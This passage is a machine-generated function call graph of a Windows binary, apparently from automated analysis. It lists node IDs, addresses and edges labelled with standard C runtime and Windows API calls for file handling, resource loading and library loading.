105554->105555 105556 ab84f2 105555->105556 105922 ab89b3 69 API calls Mailbox 105555->105922 105556->105341 105559 ab3eda 105558->105559 105560 ab3ef3 105558->105560 105562 ab8047 59 API calls 105559->105562 105561 ab7bcc 59 API calls 105560->105561 105563 ab3879 105561->105563 105562->105563 105564 ad2efd 105563->105564 105565 ad2f7e 105564->105565 105566 ad2f09 105564->105566 105925 ad2f90 60 API calls 3 library calls 105565->105925 105573 ad2f2e 105566->105573 105923 ad8b28 58 API calls __getptd_noexit 105566->105923 105568 ad2f8b 105568->105362 105570 ad2f15 105924 ad8db6 9 API calls _raise 105570->105924 105572 ad2f20 105572->105362 105573->105362 105575 aef17c 105574->105575 105579 ab8ef7 105574->105579 105575->105579 105927 ab8bdb 59 API calls Mailbox 105575->105927 105577 ab8ff8 105580 ad0db6 Mailbox 59 API calls 105577->105580 105578 ab9040 105926 ab9d3c 60 API calls Mailbox 105578->105926 105579->105577 105579->105578 105582 ab8fff 105579->105582 105580->105582 105582->105390 105584 ab4ee5 85 API calls 105583->105584 105585 b195ca 105584->105585 105928 b19734 105585->105928 105588 ab4f0b 74 API calls 105589 b195f7 105588->105589 105590 ab4f0b 74 API calls 105589->105590 105591 b19607 105590->105591 105592 ab4f0b 74 API calls 105591->105592 105593 b19622 105592->105593 105594 ab4f0b 74 API calls 105593->105594 105595 b1963d 105594->105595 105596 ab4ee5 85 API calls 105595->105596 105597 b19654 105596->105597 105598 ad571c __malloc_crt 58 API calls 105597->105598 105599 b1965b 105598->105599 105600 ad571c __malloc_crt 58 API calls 105599->105600 105601 b19665 105600->105601 105602 ab4f0b 74 API calls 105601->105602 105603 b19679 105602->105603 105604 b19109 GetSystemTimeAsFileTime 105603->105604 105605 b1968c 105604->105605 105606 b196a1 105605->105606 105607 b196b6 105605->105607 105610 ad2d55 _free 58 API calls 105606->105610 105608 b1971b 105607->105608 105609 b196bc 105607->105609 105612 ad2d55 _free 58 API calls 105608->105612 105934 b18b06 105609->105934 105613 b196a7 105610->105613 105616 aed186 105612->105616 105614 ad2d55 _free 58 API calls 105613->105614 105614->105616 105616->105327 105618 ab4e4a 105616->105618 105617 ad2d55 _free 58 API calls 105617->105616 105619 ab4e54 105618->105619 105621 ab4e5b 105618->105621 105620 ad53a6 __fcloseall 83 API calls 105619->105620 105620->105621 105622 ab4e7b FreeLibrary 105621->105622 105623 ab4e6a 105621->105623 105622->105623 105623->105327 105625 ab7e4f 59 API calls 105624->105625 105626 ab79fd 105625->105626 105626->105517 105676 ab4c03 105627->105676 105630 ab4bdc 105632 ab4bec FreeLibrary 105630->105632 105633 ab4bf5 105630->105633 105631 ab4c03 2 API calls 105631->105630 105632->105633 105634 ad525b 105633->105634 105680 ad5270 105634->105680 105636 ab4dfc 105636->105532 105636->105533 105840 ab4c36 105637->105840 105639 ab4b8f 105642 ab4baa 105639->105642 105643 ab4ba1 FreeLibrary 105639->105643 105641 ab4c36 2 API calls 105641->105639 105644 ab4c70 105642->105644 105643->105642 105645 ad0db6 Mailbox 59 API calls 105644->105645 105646 ab4c85 105645->105646 105647 ab522e 59 API calls 105646->105647 105648 ab4c91 _memmove 105647->105648 105649 ab4ccc 105648->105649 105650 ab4d89 105648->105650 105651 ab4dc1 105648->105651 105652 ab4ec7 69 API calls 105649->105652 105844 ab4e89 CreateStreamOnHGlobal 105650->105844 105855 b1991b 95 API calls 105651->105855 105660 ab4cd5 105652->105660 105655 ab4f0b 74 API calls 105655->105660 105656 ab4d69 105656->105540 105658 aed8a7 105659 ab4ee5 85 API calls 105658->105659 105661 aed8bb 105659->105661 105660->105655 105660->105656 105660->105658 105850 ab4ee5 105660->105850 105662 ab4f0b 74 API calls 105661->105662 105662->105656 105664 aed9cd 105663->105664 105665 ab4f1d 105663->105665 105879 ad55e2 105665->105879 105668 b19109 105899 b18f5f 105668->105899 105670 b1911f 105670->105548 105672 ab4ed6 105671->105672 105675 aed990 105671->105675 105904 ad5c60 105672->105904 105674 ab4ede 105674->105550 105677 ab4bd0 105676->105677 105678 ab4c0c LoadLibraryA 105676->105678 105677->105630 105677->105631 105678->105677 105679 ab4c1d GetProcAddress 105678->105679 105679->105677 105683 ad527c _raise 105680->105683 105681 ad528f 105729 ad8b28 58 API calls __getptd_noexit 105681->105729 105683->105681 105685 ad52c0 105683->105685 105684 ad5294 105730 ad8db6 9 API calls _raise 105684->105730 105699 ae04e8 105685->105699 105688 ad52c5 105689 ad52ce 105688->105689 105690 ad52db 105688->105690 105731 ad8b28 58 API calls __getptd_noexit 105689->105731 105692 ad5305 105690->105692 105693 ad52e5 105690->105693 105714 ae0607 105692->105714 105732 ad8b28 58 API calls __getptd_noexit 105693->105732 105696 ad529f _raise @_EH4_CallFilterFunc@8 105696->105636 105700 ae04f4 _raise 105699->105700 105701 ad9c0b __lock 58 API calls 105700->105701 105711 ae0502 105701->105711 105702 ae057d 105739 ad881d 58 API calls __malloc_crt 105702->105739 105705 ae05f3 _raise 105705->105688 105706 ae0584 105712 ae0576 105706->105712 105740 ad9e2b InitializeCriticalSectionAndSpinCount 105706->105740 105709 ad9c93 __mtinitlocknum 58 API calls 105709->105711 105710 ae05aa EnterCriticalSection 105710->105712 105711->105702 105711->105709 105711->105712 105737 ad6c50 59 API calls __lock 105711->105737 105738 ad6cba LeaveCriticalSection LeaveCriticalSection _doexit 105711->105738 105734 ae05fe 105712->105734 105715 ae0627 __wopenfile 105714->105715 105716 ae0641 105715->105716 105728 ae07fc 105715->105728 105747 ad37cb 60 API calls 2 library calls 105715->105747 105745 ad8b28 58 API calls __getptd_noexit 105716->105745 105718 ae0646 105746 ad8db6 9 API calls _raise 105718->105746 105720 ae085f 105742 ae85a1 105720->105742 105722 ad5310 105733 ad5332 LeaveCriticalSection LeaveCriticalSection __wfsopen 105722->105733 105724 ae07f5 105724->105728 105748 ad37cb 60 API calls 2 library calls 105724->105748 105726 ae0814 105726->105728 105749 ad37cb 60 API calls 2 library calls 105726->105749 105728->105716 105728->105720 105729->105684 105730->105696 105731->105696 105732->105696 105733->105696 105741 ad9d75 LeaveCriticalSection 105734->105741 105736 ae0605 105736->105705 105737->105711 105738->105711 105739->105706 105740->105710 105741->105736 105750 ae7d85 105742->105750 105744 ae85ba 105744->105722 105745->105718 105746->105722 105747->105724 105748->105726 105749->105728 105751 ae7d91 _raise 105750->105751 105752 ae7da7 105751->105752 105754 ae7ddd 105751->105754 105837 ad8b28 58 API calls __getptd_noexit 105752->105837 105761 ae7e4e 105754->105761 105755 ae7dac 105838 ad8db6 9 API calls _raise 105755->105838 105758 ae7df9 105839 ae7e22 LeaveCriticalSection __unlock_fhandle 105758->105839 105760 ae7db6 _raise 105760->105744 105762 ae7e6e 105761->105762 105763 ad44ea __wsopen_nolock 58 API calls 105762->105763 105767 ae7e8a 105763->105767 105764 ae7fc1 105765 ad8dc6 __invoke_watson 8 API calls 105764->105765 105766 ae85a0 105765->105766 105769 ae7d85 __wsopen_helper 103 API calls 105766->105769 105767->105764 105768 ae7ec4 105767->105768 105775 ae7ee7 105767->105775 105771 ad8af4 __chsize_nolock 58 API calls 105768->105771 105770 ae85ba 105769->105770 105770->105758 105772 ae7ec9 105771->105772 105773 ad8b28 _raise 58 API calls 105772->105773 105774 ae7ed6 105773->105774 105777 ad8db6 _raise 9 API calls 105774->105777 105776 ae7fa5 105775->105776 105784 ae7f83 105775->105784 105778 ad8af4 __chsize_nolock 58 API calls 105776->105778 105779 ae7ee0 105777->105779 105780 ae7faa 105778->105780 105779->105758 105781 ad8b28 _raise 58 API calls 105780->105781 105782 ae7fb7 105781->105782 105783 ad8db6 _raise 9 API calls 105782->105783 105783->105764 105785 add294 __alloc_osfhnd 61 API calls 105784->105785 105786 ae8051 105785->105786 105787 ae807e 105786->105787 105788 ae805b 105786->105788 105790 ae7cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 105787->105790 105789 ad8af4 __chsize_nolock 58 API calls 105788->105789 105791 ae8060 105789->105791 105798 ae80a0 105790->105798 105792 ad8b28 _raise 58 API calls 105791->105792 105795 ae806a 105792->105795 105793 ae811e GetFileType 105796 ae816b 105793->105796 105797 ae8129 GetLastError 105793->105797 105794 ae80ec GetLastError 105799 ad8b07 __dosmaperr 58 API calls 105794->105799 105800 ad8b28 _raise 58 API calls 105795->105800 105806 add52a __set_osfhnd 59 API calls 105796->105806 105801 ad8b07 __dosmaperr 58 API calls 105797->105801 105798->105793 105798->105794 105802 ae7cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 105798->105802 105803 ae8111 105799->105803 105800->105779 105804 ae8150 CloseHandle 105801->105804 105805 ae80e1 105802->105805 105808 ad8b28 _raise 58 API calls 105803->105808 105804->105803 105807 ae815e 105804->105807 105805->105793 105805->105794 105812 ae8189 105806->105812 105809 ad8b28 _raise 58 API calls 105807->105809 105808->105764 105810 ae8163 105809->105810 105810->105803 105811 ae8344 105811->105764 105814 ae8517 CloseHandle 105811->105814 105812->105811 105813 ae18c1 __lseeki64_nolock 60 API calls 105812->105813 105828 ae820a 105812->105828 105815 ae81f3 105813->105815 105816 ae7cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 105814->105816 105818 ad8af4 __chsize_nolock 58 API calls 105815->105818 105832 ae8212 105815->105832 105817 ae853e 105816->105817 105819 ae8546 GetLastError 105817->105819 105826 ae83ce 105817->105826 105818->105828 105820 ad8b07 __dosmaperr 58 API calls 105819->105820 105823 ae8552 105820->105823 105821 ae0add __close_nolock 61 API calls 105821->105832 105822 ae0e5b 70 API calls __read_nolock 105822->105832 105824 add43d __free_osfhnd 59 API calls 105823->105824 105824->105826 105825 ae97a2 __chsize_nolock 82 API calls 105825->105832 105826->105764 105827 add886 __write 78 API calls 105827->105828 105828->105811 105828->105827 105830 ae18c1 60 API calls __lseeki64_nolock 105828->105830 105828->105832 105829 ae83c1 105831 ae0add __close_nolock 61 API calls 105829->105831 105830->105828 105833 ae83c8 105831->105833 105832->105821 105832->105822 105832->105825 105832->105828 105832->105829 105834 ae18c1 60 API calls __lseeki64_nolock 105832->105834 105836 ae83aa 105832->105836 105835 ad8b28 _raise 58 API calls 105833->105835 105834->105832 105835->105826 105836->105811 105837->105755 105838->105760 105839->105760 105841 ab4b83 105840->105841 105842 ab4c3f LoadLibraryA 105840->105842 105841->105639 105841->105641 105842->105841 105843 ab4c50 GetProcAddress 105842->105843 105843->105841 105845 ab4ea3 FindResourceExW 105844->105845 105846 ab4ec0 105844->105846 105845->105846 105847 aed933 LoadResource 105845->105847 105846->105649 105847->105846 105848 aed948 SizeofResource 105847->105848 105848->105846 105849 aed95c LockResource 105848->105849 105849->105846 105851 aed9ab 105850->105851 105852 ab4ef4 105850->105852 105856 ad584d 105852->105856 105854 ab4f02 105854->105660 105855->105649 105857 ad5859 _raise 105856->105857 105858 ad586b 105857->105858 105860 ad5891 105857->105860 105869 ad8b28 58 API calls __getptd_noexit 105858->105869 105871 ad6c11 105860->105871 105861 ad5870 105870 ad8db6 9 API calls _raise 105861->105870 105864 ad5897 105877 ad57be 83 API calls 5 library calls 105864->105877 105866 ad587b _raise 105866->105854 105867 ad58a6 105878 ad58c8 LeaveCriticalSection LeaveCriticalSection __wfsopen 105867->105878 105869->105861 105870->105866 105872 ad6c21 105871->105872 105873 ad6c43 EnterCriticalSection 105871->105873 105872->105873 105874 ad6c29 105872->105874 105875 ad6c39 105873->105875 105876 ad9c0b __lock 58 API calls 105874->105876 105875->105864 105876->105875 105877->105867 105878->105866 105882 ad55fd 105879->105882 105881 ab4f2e 105881->105668 105883 ad5609 _raise 105882->105883 105884 ad564c 105883->105884 105885 ad5644 _raise 105883->105885 105890 ad561f _memset 105883->105890 105886 ad6c11 __lock_file 59 API calls 105884->105886 105885->105881 105888 ad5652 105886->105888 105897 ad541d 72 API calls 6 library calls 105888->105897 105895 ad8b28 58 API calls __getptd_noexit 105890->105895 105891 ad5639 105896 ad8db6 9 API calls _raise 105891->105896 105892 ad5668 105898 ad5686 LeaveCriticalSection LeaveCriticalSection __wfsopen 105892->105898 105895->105891 105896->105885 105897->105892 105898->105885 105902 ad520a GetSystemTimeAsFileTime 105899->105902 105901 b18f6e 105901->105670 105903 ad5238 __aulldiv 105902->105903 105903->105901 105905 ad5c6c _raise 105904->105905 105906 ad5c7e 105905->105906 105907 ad5c93 105905->105907 105918 ad8b28 58 API calls __getptd_noexit 105906->105918 105909 ad6c11 __lock_file 59 API calls 105907->105909 105911 ad5c99 105909->105911 105910 ad5c83 105919 ad8db6 9 API calls _raise 105910->105919 105920 ad58d0 67 API calls 5 library calls 105911->105920 105914 ad5ca4 105921 ad5cc4 LeaveCriticalSection LeaveCriticalSection __wfsopen 105914->105921 105916 ad5cb6 105917 ad5c8e _raise 105916->105917 105917->105674 105918->105910 105919->105917 105920->105914 105921->105916 105922->105556 105923->105570 105924->105572 105925->105568 105926->105582 105927->105579 105933 b19748 __tzset_nolock _wcscmp 105928->105933 105929 ab4f0b 74 API calls 105929->105933 105930 b195dc 105930->105588 105930->105616 105931 b19109 GetSystemTimeAsFileTime 105931->105933 105932 ab4ee5 85 API calls 105932->105933 105933->105929 105933->105930 105933->105931 105933->105932 105935 b18b11 105934->105935 105936 b18b1f 105934->105936 105937 ad525b 115 API calls 105935->105937 105938 b18b64 105936->105938 105939 ad525b 115 API calls 105936->105939 105949 b18b28 105936->105949 105937->105936 105965 b18d91 74 API calls 3 library calls 105938->105965 105941 b18b49 105939->105941 105941->105938 105943 b18b52 105941->105943 105942 b18ba8 105944 b18bcd 105942->105944 105945 b18bac 105942->105945 105943->105949 105976 ad53a6 105943->105976 105966 b189a9 58 API calls __malloc_crt 105944->105966 105947 b18bb9 105945->105947 105951 ad53a6 __fcloseall 83 API calls 105945->105951 105947->105949 105954 ad53a6 __fcloseall 83 API calls 105947->105954 105949->105617 105950 b18bd5 105952 b18bfb 105950->105952 105953 b18bdb 105950->105953 105951->105947 105967 b18c2b 90 API calls 105952->105967 105955 b18be8 105953->105955 105957 ad53a6 __fcloseall 83 API calls 105953->105957 105954->105949 105955->105949 105959 ad53a6 __fcloseall 83 API calls 105955->105959 105957->105955 105958 b18c02 105968 b18d0d 105958->105968 105959->105949 105962 b18c16 105962->105949 105964 ad53a6 __fcloseall 83 API calls 105962->105964 105963 ad53a6 __fcloseall 83 API calls 105963->105962 105964->105949 105965->105942 105966->105950 105967->105958 105969 b18d20 105968->105969 105970 b18d1a 105968->105970 105972 b18d31 105969->105972 105974 ad2d55 _free 58 API calls 105969->105974 105971 ad2d55 _free 58 API calls 105970->105971 105971->105969 105973 b18c09 105972->105973 105975 ad2d55 _free 58 API calls 105972->105975 105973->105962 105973->105963 105974->105972 105975->105973 105977 ad53b2 _raise 105976->105977 105978 ad53de 105977->105978 105979 ad53c6 105977->105979 105982 ad6c11 __lock_file 59 API calls 105978->105982 105985 ad53d6 _raise 105978->105985 106005 ad8b28 58 API calls __getptd_noexit 105979->106005 105981 ad53cb 106006 ad8db6 9 API calls _raise 105981->106006 105984 ad53f0 105982->105984 105989 ad533a 105984->105989 105985->105949 105990 ad535d 105989->105990 105991 ad5349 105989->105991 106003 ad5359 105990->106003 106008 ad4a3d 105990->106008 106051 ad8b28 58 API calls __getptd_noexit 105991->106051 105994 ad534e 106052 ad8db6 9 API calls _raise 105994->106052 106000 ad5377 106025 ae0a02 106000->106025 106002 ad537d 106002->106003 106004 ad2d55 _free 58 API calls 106002->106004 106007 ad5415 LeaveCriticalSection LeaveCriticalSection __wfsopen 106003->106007 106004->106003 106005->105981 106006->105985 106007->105985 106009 ad4a74 106008->106009 106010 ad4a50 106008->106010 106014 ae0b77 106009->106014 106010->106009 106011 ad46e6 __output_l 58 API calls 106010->106011 106012 ad4a6d 106011->106012 106053 add886 106012->106053 106015 ae0b84 106014->106015 106017 ad5371 106014->106017 106016 ad2d55 _free 58 API calls 106015->106016 106015->106017 106016->106017 106018 ad46e6 106017->106018 106019 ad4705 106018->106019 106020 ad46f0 106018->106020 106019->106000 106163 ad8b28 58 API calls __getptd_noexit 106020->106163 106022 ad46f5 106164 ad8db6 9 API calls _raise 106022->106164 106024 ad4700 106024->106000 106026 ae0a0e _raise 106025->106026 106027 ae0a1b 106026->106027 106028 ae0a32 106026->106028 106180 ad8af4 58 API calls __getptd_noexit 106027->106180 106030 ae0abd 106028->106030 106032 ae0a42 106028->106032 106185 ad8af4 58 API calls __getptd_noexit 106030->106185 106031 ae0a20 106181 ad8b28 58 API calls __getptd_noexit 106031->106181 106035 ae0a6a 106032->106035 106036 ae0a60 106032->106036 106040 add206 ___lock_fhandle 59 API calls 106035->106040 106182 ad8af4 58 API calls __getptd_noexit 106036->106182 106037 ae0a65 106186 ad8b28 58 API calls __getptd_noexit 106037->106186 106038 ae0a27 _raise 106038->106002 106042 ae0a70 106040->106042 106043 ae0a8e 106042->106043 106044 ae0a83 106042->106044 106183 ad8b28 58 API calls __getptd_noexit 106043->106183 106165 ae0add 106044->106165 106045 ae0ac9 106187 ad8db6 9 API calls _raise 106045->106187 106049 ae0a89 106184 ae0ab5 LeaveCriticalSection __unlock_fhandle 106049->106184 106051->105994 106052->106003 106054 add892 _raise 106053->106054 106055 add89f 106054->106055 106056 add8b6 106054->106056 106154 ad8af4 58 API calls __getptd_noexit 106055->106154 106058 add955 106056->106058 106061 add8ca 106056->106061 106160 ad8af4 58 API calls __getptd_noexit 106058->106160 106060 add8a4 106155 ad8b28 58 API calls __getptd_noexit 106060->106155 106063 add8e8 106061->106063 106064 add8f2 106061->106064 106156 ad8af4 58 API calls __getptd_noexit 106063->106156 106081 add206 106064->106081 106066 add8ed 106161 ad8b28 58 API calls __getptd_noexit 106066->106161 106069 add8f8 106071 add91e 106069->106071 106072 add90b 106069->106072 106070 add961 106162 ad8db6 9 API calls _raise 106070->106162 106157 ad8b28 58 API calls __getptd_noexit 106071->106157 106090 add975 106072->106090 106076 add8ab _raise 106076->106009 106077 add917 106159 add94d LeaveCriticalSection __unlock_fhandle 106077->106159 106078 add923 106158 ad8af4 58 API calls __getptd_noexit 106078->106158 106082 add212 _raise 106081->106082 106083 add261 EnterCriticalSection 106082->106083 106084 ad9c0b __lock 58 API calls 106082->106084 106085 add287 _raise 106083->106085 106086 add237 106084->106086 106085->106069 106087 add24f 106086->106087 106088 ad9e2b __getstream InitializeCriticalSectionAndSpinCount 106086->106088 106089 add28b ___lock_fhandle LeaveCriticalSection 106087->106089 106088->106087 106089->106083 106091 add982 __ftell_nolock 106090->106091 106092 add9c1 106091->106092 106093 add9e0 106091->106093 106123 add9b6 106091->106123 106094 ad8af4 __chsize_nolock 58 API calls 106092->106094 106097 adda38 106093->106097 106098 adda1c 106093->106098 106096 add9c6 106094->106096 106095 adc5f6 __output_l 6 API calls 106099 ade1d6 106095->106099 106100 ad8b28 _raise 58 API calls 106096->106100 106103 ae18c1 __lseeki64_nolock 60 API calls 106097->106103 106107 adda51 106097->106107 106101 ad8af4 __chsize_nolock 58 API calls 106098->106101 106099->106077 106102 add9cd 106100->106102 106105 adda21 106101->106105 106106 ad8db6 _raise 9 API calls 106102->106106 106103->106107 106104 ae5c6b __stbuf 58 API calls 106108 adda5f 106104->106108 106109 ad8b28 _raise 58 API calls 106105->106109 106106->106123 106107->106104 106110 adddb8 106108->106110 106115 ad99ac _LocaleUpdate::_LocaleUpdate 58 API calls 106108->106115 106111 adda28 106109->106111 106112 ade14b WriteFile 106110->106112 106113 adddd6 106110->106113 106114 ad8db6 _raise 9 API calls 106111->106114 106116 adddab GetLastError 106112->106116 106125 addd78 106112->106125 106117 addefa 106113->106117 106122 adddec 106113->106122 106114->106123 106118 adda8b GetConsoleMode 106115->106118 106116->106125 106128 addf05 106117->106128 106131 addfef 106117->106131 106118->106110 106120 addaca 106118->106120 106119 ade184 106119->106123 106124 ad8b28 _raise 58 API calls 106119->106124 106120->106110 106126 addada GetConsoleCP 106120->106126 106121 adde5b WriteFile 106121->106116 106127 adde98 106121->106127 106122->106119 106122->106121 106123->106095 106129 ade1b2 106124->106129 106125->106119 106125->106123 106130 added8 106125->106130 106126->106119 106151 addb09 106126->106151 106127->106122 106133 addebc 106127->106133 106128->106119 106134 addf6a WriteFile 106128->106134 106135 ad8af4 __chsize_nolock 58 API calls 106129->106135 106136 ade17b 106130->106136 106137 addee3 106130->106137 106131->106119 106132 ade064 WideCharToMultiByte 106131->106132 106132->106116 106146 ade0ab 106132->106146 106133->106125 106134->106116 106138 addfb9 106134->106138 106135->106123 106140 ad8b07 __dosmaperr 58 API calls 106136->106140 106139 ad8b28 _raise 58 API calls 106137->106139 106138->106125 106138->106128 106138->106133 106142 addee8 106139->106142 106140->106123 106141 ade0b3 WriteFile 106144 ade106 GetLastError 106141->106144 106141->106146 106145 ad8af4 __chsize_nolock 58 API calls 106142->106145 106143 ad35f5 __write_nolock 58 API calls 106143->106151 106144->106146 106145->106123 106146->106125 106146->106131 106146->106133 106146->106141 106147 ae7a5e WriteConsoleW CreateFileW __putwch_nolock 106152 addc5f 106147->106152 106148 addbf2 WideCharToMultiByte 106148->106125 106150 addc2d WriteFile 106148->106150 106149 ae62ba 60 API calls __write_nolock 106149->106151 106150->106116 106150->106152 106151->106125 106151->106143 106151->106148 106151->106149 106151->106152 106152->106116 106152->106125 106152->106147 106152->106151 106153 addc87 WriteFile 106152->106153 106153->106116 106153->106152 106154->106060 106155->106076 106156->106066 106157->106078 106158->106077 106159->106076 106160->106066 106161->106070 106162->106076 106163->106022 106164->106024 106188 add4c3 106165->106188 106167 ae0aeb 106168 ae0b41 106167->106168 106170 ae0b1f 106167->106170 106172 add4c3 __chsize_nolock 58 API calls 106167->106172 106201 add43d 59 API calls 2 library calls 106168->106201 106170->106168 106173 add4c3 __chsize_nolock 58 API calls 106170->106173 106171 ae0b49 106175 ae0b6b 106171->106175 106202 ad8b07 58 API calls 3 library calls 106171->106202 106176 ae0b16 106172->106176 106174 ae0b2b CloseHandle 106173->106174 106174->106168 106177 ae0b37 GetLastError 106174->106177 106175->106049 106179 add4c3 __chsize_nolock 58 API calls 106176->106179 106177->106168 106179->106170 106180->106031 106181->106038 106182->106037 106183->106049 106184->106038 106185->106037 106186->106045 106187->106038 106189 add4ce 106188->106189 106190 add4e3 106188->106190 106191 ad8af4 __chsize_nolock 58 API calls 106189->106191 106192 ad8af4 __chsize_nolock 58 API calls 106190->106192 106196 add508 106190->106196 106193 add4d3 106191->106193 106194 add512 106192->106194 106195 ad8b28 _raise 58 API calls 106193->106195 106197 ad8b28 _raise 58 API calls 106194->106197 106198 add4db 106195->106198 106196->106167 106199 add51a 106197->106199 106198->106167 106200 ad8db6 _raise 9 API calls 106199->106200 106200->106198 106201->106171 106202->106175 106204 ad079e __ftell_nolock 106203->106204 106205 ad079f GetLongPathNameW 106204->106205 106206 ab7bcc 59 API calls 106205->106206 106207 ab72bd 106206->106207 106208 ab700b 106207->106208 106209 ab7667 59 API calls 106208->106209 106210 ab701d 106209->106210 106211 ab4750 60 API calls 106210->106211 106212 ab7028 106211->106212 106213 ab7033 106212->106213 106214 aee885 106212->106214 106216 ab3f74 59 API calls 106213->106216 106218 aee89f 106214->106218 106261 ab7908 61 API calls 106214->106261 106217 ab703f 106216->106217 106255 ab34c2 106217->106255 106220 ab7052 Mailbox 106220->105406 106222 ab4ddd 136 API calls 106221->106222 106223 ab688f 106222->106223 106224 aee031 106223->106224 106225 ab4ddd 136 API calls 106223->106225 106226 b1955b 122 API calls 106224->106226 106227 ab68a3 106225->106227 106228 aee046 106226->106228 106227->106224 106229 ab68ab 106227->106229 106230 aee04a 106228->106230 106231 aee067 106228->106231 106233 aee052 106229->106233 106234 ab68b7 106229->106234 106235 ab4e4a 84 API calls 106230->106235 106232 ad0db6 Mailbox 59 API calls 106231->106232 106254 aee0ac Mailbox 106232->106254 106355 b142f8 90 API calls _wprintf 106233->106355 106262 ab6a8c 106234->106262 106235->106233 106239 aee060 106239->106231 106240 aee260 106241 ad2d55 _free 58 API calls 106240->106241 106242 aee268 106241->106242 106243 ab4e4a 84 API calls 106242->106243 106248 aee271 106243->106248 106247 ad2d55 _free 58 API calls 106247->106248 106248->106247 106249 ab4e4a 84 API calls 106248->106249 106361 b0f7a1 89 API calls 4 library calls 106248->106361 106249->106248 106251 ab7de1 59 API calls 106251->106254 106254->106240 106254->106248 106254->106251 106356 b0f73d 59 API calls 2 library calls 106254->106356 106357 b0f65e 61 API calls 2 library calls 106254->106357 106358 b1737f 59 API calls Mailbox 106254->106358 106359 ab750f 59 API calls 2 library calls 106254->106359 106360 ab735d 59 API calls Mailbox 106254->106360 106256 ab34d4 106255->106256 106260 ab34f3 _memmove 106255->106260 106259 ad0db6 Mailbox 59 API calls 106256->106259 106257 ad0db6 Mailbox 59 API calls 106258 ab350a 106257->106258 106258->106220 106259->106260 106260->106257 106261->106214 106263 aee41e 106262->106263 106264 ab6ab5 106262->106264 106434 b0f7a1 89 API calls 4 library calls 106263->106434 106367 ab57a6 60 API calls Mailbox 106264->106367 106267 ab6ad7 106368 ab57f6 67 API calls 106267->106368 106268 aee431 106435 b0f7a1 89 API calls 4 library calls 106268->106435 106270 ab6aec 106270->106268 106271 ab6af4 106270->106271 106273 ab7667 59 API calls 106271->106273 106275 ab6b00 106273->106275 106274 aee44d 106277 ab6b61 106274->106277 106369 ad0957 60 API calls __ftell_nolock 106275->106369 106279 ab6b6f 106277->106279 106280 aee460 106277->106280 106278 ab6b0c 106282 ab7667 59 API calls 106278->106282 106281 ab7667 59 API calls 106279->106281 106283 ab5c6f CloseHandle 106280->106283 106284 ab6b78 106281->106284 106285 ab6b18 106282->106285 106286 aee46c 106283->106286 106288 ab7667 59 API calls 106284->106288 106289 ab4750 60 API calls 106285->106289 106287 ab4ddd 136 API calls 106286->106287 106290 aee488 106287->106290 106291 ab6b81 106288->106291 106292 ab6b26 106289->106292 106293 aee4b1 106290->106293 106296 b1955b 122 API calls 106290->106296 106372 ab459b 106291->106372 106370 ab5850 ReadFile SetFilePointerEx 106292->106370 106436 b0f7a1 89 API calls 4 library calls 106293->106436 106300 aee4a4 106296->106300 106297 ab6b98 106301 ab7b2e 59 API calls 106297->106301 106299 ab6b52 106371 ab5aee SetFilePointerEx SetFilePointerEx 106299->106371 106304 aee4ac 106300->106304 106305 aee4cd 106300->106305 106306 ab6ba9 SetCurrentDirectoryW 106301->106306 106302 aee4c8 106310 ab6d0c Mailbox 106302->106310 106307 ab4e4a 84 API calls 106304->106307 106308 ab4e4a 84 API calls 106305->106308 106312 ab6bbc Mailbox 106306->106312 106307->106293 106309 aee4d2 106308->106309 106311 ad0db6 Mailbox 59 API calls 106309->106311 106362 ab57d4 106310->106362 106317 aee506 106311->106317 106314 ad0db6 Mailbox 59 API calls 106312->106314 106316 ab6bcf 106314->106316 106315 ab3bbb 106315->105273 106315->105297 106318 ab522e 59 API calls 106316->106318 106437 ab750f 59 API calls 2 library calls 106317->106437 106330 ab6bda Mailbox __NMSG_WRITE 106318->106330 106320 ab6ce7 106430 ab5c6f 106320->106430 106323 aee740 106443 b172df 59 API calls Mailbox 106323->106443 106324 ab6cf3 SetCurrentDirectoryW 106324->106310 106327 aee762 106444 b2fbce 59 API calls 2 library calls 106327->106444 106330->106320 106338 aee7d1 106330->106338 106340 ab7de1 59 API calls 106330->106340 106342 aee7d9 106330->106342 106423 ab586d 67 API calls _wcscpy 106330->106423 106424 ab6f5d GetStringTypeW 106330->106424 106425 ab6ecc 60 API calls __wcsnicmp 106330->106425 106426 ab6faa GetStringTypeW __NMSG_WRITE 106330->106426 106427 ad363d GetStringTypeW _iswctype 106330->106427 106428 ab68dc 165 API calls 3 library calls 106330->106428 106429 ab7213 59 API calls Mailbox 106330->106429 106331 aee76f 106332 ad2d55 _free 58 API calls 106331->106332 106332->106310 106335 aee7f2 106335->106320 106446 b0f5f7 59 API calls 4 library calls 106338->106446 106340->106330 106447 b0f7a1 89 API calls 4 library calls 106342->106447 106345 ab7de1 59 API calls 106352 aee54f Mailbox 106345->106352 106348 aee792 106445 b0f7a1 89 API calls 4 library calls 106348->106445 106351 aee7ab 106353 ad2d55 _free 58 API calls 106351->106353 106352->106323 106352->106345 106352->106348 106438 b0f73d 59 API calls 2 library calls 106352->106438 106439 b0f65e 61 API calls 2 library calls 106352->106439 106440 b1737f 59 API calls Mailbox 106352->106440 106441 ab750f 59 API calls 2 library calls 106352->106441 106442 ab7213 59 API calls Mailbox 106352->106442 106354 aee7be 106353->106354 106354->106310 106355->106239 106356->106254 106357->106254 106358->106254 106359->106254 106360->106254 106361->106248 106363 ab5c6f CloseHandle 106362->106363 106364 ab57dc Mailbox 106363->106364 106365 ab5c6f CloseHandle 106364->106365 106366 ab57eb 106365->106366 106366->106315 106367->106267 106368->106270 106369->106278 106370->106299 106371->106277 106373 ab7667 59 API calls 106372->106373 106374 ab45b1 106373->106374 106375 ab7667 59 API calls 106374->106375 106376 ab45b9 106375->106376 106377 ab7667 59 API calls 106376->106377 106378 ab45c1 106377->106378 106379 ab7667 59 API calls 106378->106379 106380 ab45c9 106379->106380 106381 ab45fd 106380->106381 106382 aed4d2 106380->106382 106383 ab784b 59 API calls 106381->106383 106384 ab8047 59 API calls 106382->106384 106385 ab460b 106383->106385 106386 aed4db 106384->106386 106387 ab7d2c 59 API calls 106385->106387 106388 ab7d8c 59 API calls 106386->106388 106389 ab4615 106387->106389 106390 ab4640 106388->106390 106389->106390 106392 ab784b 59 API calls 106389->106392 106391 ab4680 106390->106391 106395 ab465f 106390->106395 106404 aed4fb 106390->106404 106393 ab784b 59 API calls 106391->106393 106394 ab4636 106392->106394 106397 ab4691 106393->106397 106398 ab7d2c 59 API calls 106394->106398 106396 ab79f2 59 API calls 106395->106396 106401 ab4669 106396->106401 106402 ab46a3 106397->106402 106405 